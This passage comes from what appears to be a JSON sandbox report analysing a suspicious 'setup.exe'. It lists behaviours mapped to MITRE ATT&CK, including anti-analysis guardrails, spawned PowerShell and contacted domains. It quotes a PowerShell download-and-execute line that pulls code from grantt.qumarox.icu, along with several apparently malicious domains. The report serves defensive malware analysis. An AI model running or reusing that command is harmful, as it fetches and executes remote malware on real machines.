Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"setup.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76670000\n \"dllhost.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76670000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 8FF60000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7bc8cfc7f0000@ntdll.dll\"\n \"220023000000000018c7bc8cfc7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"setup.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"setup.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"setup.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"IEX((New-Object Net.WebClient).DownloadString('https://grantt.qumarox.icu/sdfkkiso87'))\" (Indicator: \"New-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"setup.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"setup.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"setup.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"setup.exe\" file has an entrypoint instructions - \"call\t0x42186e,jmp\t0x421244,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\t0x422d30,push\tdword ptr fs:[0],mov\teax, dword ptr [esp + 0x10],mov\tdword ptr [esp + 0x10], ebp,lea\tebp, [esp + 0x10],sub\tesp, eax,push\tebx,push\tesi,push\tedi,mov\teax, dword ptr [0x44b040],xor\tdword ptr [ebp - 4], eax,xor\teax, ebp,push\teax,mov\tdword ptr [ebp - 0x18], esp,push\tdword ptr [ebp - 8],mov\teax, dword ptr [ebp - 4],mov\tdword ptr [ebp - 4], 0xfffffffe,mov\tdword ptr [ebp - 8], eax,lea\teax, [ebp - 0x10],mov\tdword ptr fs:[0], eax,ret\t,and\tdword ptr [ecx + 4], 0,mov\teax, ecx,and\tdword ptr [ecx + 8], 0,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\dllhost.exe\" [Source: 00000000-00007752-00000BC0-2314688239]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00007752-00000BC0-2314733487]\n Observed system executable string:\"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00006612-00000BC0-2320101301]\n Observed system executable string:\"%WINDIR%\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -NoLogo -NonI -Command -\" [Source: powershell.exe]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"chrome.exe\" (UID: 00000000-00006032) was launched with new environment variables: \"__PROCESS_HISTORY=\"C:\\setup.exe\", USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"chrome.exe\" (UID: 00000000-00006032) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"aka.ms\"\n \"api.github.com\"\n \"azcliprod.blob.core.windows.net\"\n \"grantt.qumarox.icu\"\n \"httpbin.org\"\n \"hub.docker.com\"\n \"jsonplaceholder.typicode.com\"\n \"ootip.submergejunkie.life\"\n \"pypi.org\"\n \"registry.npmjs.org\"\n \"registry.terraform.io\"\n \"turbine.grandauto.cfd\"\n \"worldtimeapi.org\"\n \"www.powershellgallery.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"chrome.exe\" (UID: 00000000-00006032)\n Spawned process \"msedge.exe\" (UID: 00000000-00004304)\n Spawned process \"dllhost.exe\" (UID: 00000000-00003652)\n Spawned process \"powershell.exe\" with commandline \"%WINDIR%\\\\Sysnative\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -No ...\" (UID: 00000000-00006612)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"chrome.exe\" (UID: 00000000-00006032)\n Spawned process \"msedge.exe\" (UID: 00000000-00004304)\n Spawned process \"dllhost.exe\" (UID: 00000000-00003652)\n Spawned process \"powershell.exe\" with commandline \"%WINDIR%\\\\Sysnative\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -No ...\" (UID: 00000000-00006612)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$3f","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"GET /pkiops/crl/Microsoft%20RSA%20TLS%20CA%2001.crl HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: www.microsoft.com\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive\"\n \"GET /repos/esbuild/esbuild/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate\"\n \"GET /pkiops/crl/Microsoft%20RSA%20TLS%20CA%2001.crl HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: www.microsoft.com\nAccept-Encoding: gzip, deflate\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"setup.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rdqndxat.iqc.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_w2yxygoy.5w1.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"setup.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"setup.exe\" queries basic process information of the \"C:\\setup.exe\" (UID: 7752)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to detect virtual environment (API)\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Makes a code branch decision directly after an API that is environment aware","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"setup.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"setup.exe\" writes file \"\\device\\namedpipe\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_rdqndxat.iqc.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_w2yxygoy.5w1.psm1\"\n \"powershell.exe\" writes file \"%temp%\\__psscriptpolicytest_rdqndxat.iqc.ps1\"\n \"powershell.exe\" writes file \"%temp%\\__psscriptpolicytest_w2yxygoy.5w1.psm1\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping 0,\" (Indicator: \"ping \"; Source: \"00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00006612-00000C2C-2322446922\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /\"\n Found http requests in header \"POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65\"\n Found http requests in header \"POST /GhyE.Q\"\n Found http requests in header \"POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx\"\n Found http requests in header \"POST /iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf\"\n Found http requests in header \"POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt\"\n Found http requests in header \"GET /was0do6si2\"\n Found http requests in header \"POST /tR4-YlU5Um-cyv-wP\"\n Found http requests in header \"GET /todos/130\"\n Found http requests in header \"GET /chai\"\n Found http requests in header \"GET /repos/google/ExoPlayer/contributors\"\n Found http requests in header \"GET /repos/laravel/laravel/commits\"\n Found http requests in header \"GET /v2/repositories/library/golang/tags/\"\n Found http requests in header \"GET /installazurecliwindows\"\n Found http requests in header \"GET /sdfkkiso87\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006612-00000C2C-2322445692\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006612-00000C2C-2322635675\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006612-00000C2C-2322635705\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00006612-00000C2C-2322445692\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp, 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp, 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"4.0.0.0\"\n Potential IP \"4.0.0.0\" found in string \"System.Data,4.0.0.0,,b77a5c561934e089\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"4.0.0.0\" found in string \"ystem.Data,4.0.0.0,,b77a5c561934e089\"\n \"2.5.29.17\"\n Potential IP \"4.0.0.0\" found in string \"ystem.Runtime.Caching,4.0.0.0,,b03f5f7f11d50a3a,MSIL\"\n Potential IP \"4.0.0.0\" found in string \"ystem.EnterpriseServices,4.0.0.0,,b03f5f7f11d50a3a,AMD64\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n \"2.5.29.10\"\n \"2.5.4.3\"\n \"2.5.4.11\"\n \"2.5.4.8\"\n \"2.5.4.6\"\n \"2.5.4.10\"\n \"2.5.29.1\"\n \"2.5.4.5\"\n \"2.5.4.7\"\n \"2.5.29.16\"\n \"49.1.1.11\"\n \"192.168.0.1\"\n \"255.255.255.255\"\n \"11.10.3.6\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$46","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$47","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$48","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$49","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"turbine.grandauto.cfd\" has high entropy\n Contacted domain: \"ootip.submergejunkie.life\" has high entropy\n Contacted domain: \"jsonplaceholder.typicode.com\" has high entropy\n Contacted domain: \"registry.npmjs.org\" has high entropy\n Contacted domain: \"api.github.com\" has high entropy\n Contacted domain: \"grantt.qumarox.icu\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"azcliprod.blob.core.windows.net\" (13 days old)\n Newly renewed or created SSL certificate: \"hub.docker.com\" (13 days old)\n Newly renewed or created SSL certificate: \"ootip.submergejunkie.life\" (7 days old)\n Newly renewed or created SSL certificate: \"registry.npmjs.org\" (3 days old)\n Newly renewed or created SSL certificate: \"turbine.grandauto.cfd\" (7 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$4a","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"api.github.com\" (89 days old)\n Short term registered certificate: \"grantt.qumarox.icu\" (89 days old)\n Short term registered certificate: \"hub.docker.com\" (89 days old)\n Short term registered certificate: \"jsonplaceholder.typicode.com\" (90 days old)\n Short term registered certificate: \"ootip.submergejunkie.life\" (90 days old)\n Short term registered certificate: \"registry.npmjs.org\" (90 days old)\n Short term registered certificate: \"turbine.grandauto.cfd\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.174.88\" on port \"443\"\n HTTPS traffic to \"104.21.75.214\" on port \"443\"\n HTTPS traffic to \"172.67.167.151\" on port \"443\"\n HTTPS traffic to \"104.16.9.34\" on port \"443\"\n HTTPS traffic to \"140.82.112.5\" on port \"443\"\n HTTPS traffic to \"104.18.43.187\" on port \"443\"\n HTTPS traffic to \"23.38.161.245\" on port \"443\"\n HTTPS traffic to \"57.150.61.65\" on port \"443\"\n HTTPS traffic to \"172.67.159.182\" on port \"443\"\n HTTPS traffic to \"151.101.192.223\" on port \"443\"\n HTTPS traffic to \"213.188.196.246\" on port \"443\"\n HTTPS traffic to \"150.171.109.185\" on port \"443\"\n HTTPS traffic to \"54.198.84.224\" on port \"443\"\n HTTPS traffic to \"52.85.61.122\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00006612\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE55BEAE06D58943B223D1CF9DAC26]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.D5847000.00000004.mdmp, 00000000-00006612.00000002.216597.D5847000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00006612.00000001.214679.D5847000.00000004.mdmp, 00000000-00006612.00000002.216597.D5847000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00006612.00000001.214679.D5847000.00000004.mdmp, 00000000-00006612.00000002.216597.D5847000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00006612.00000001.214679.D5847000.00000004.mdmp, 00000000-00006612.00000002.216597.D5847000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: setup.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\"\n Found registry query API: 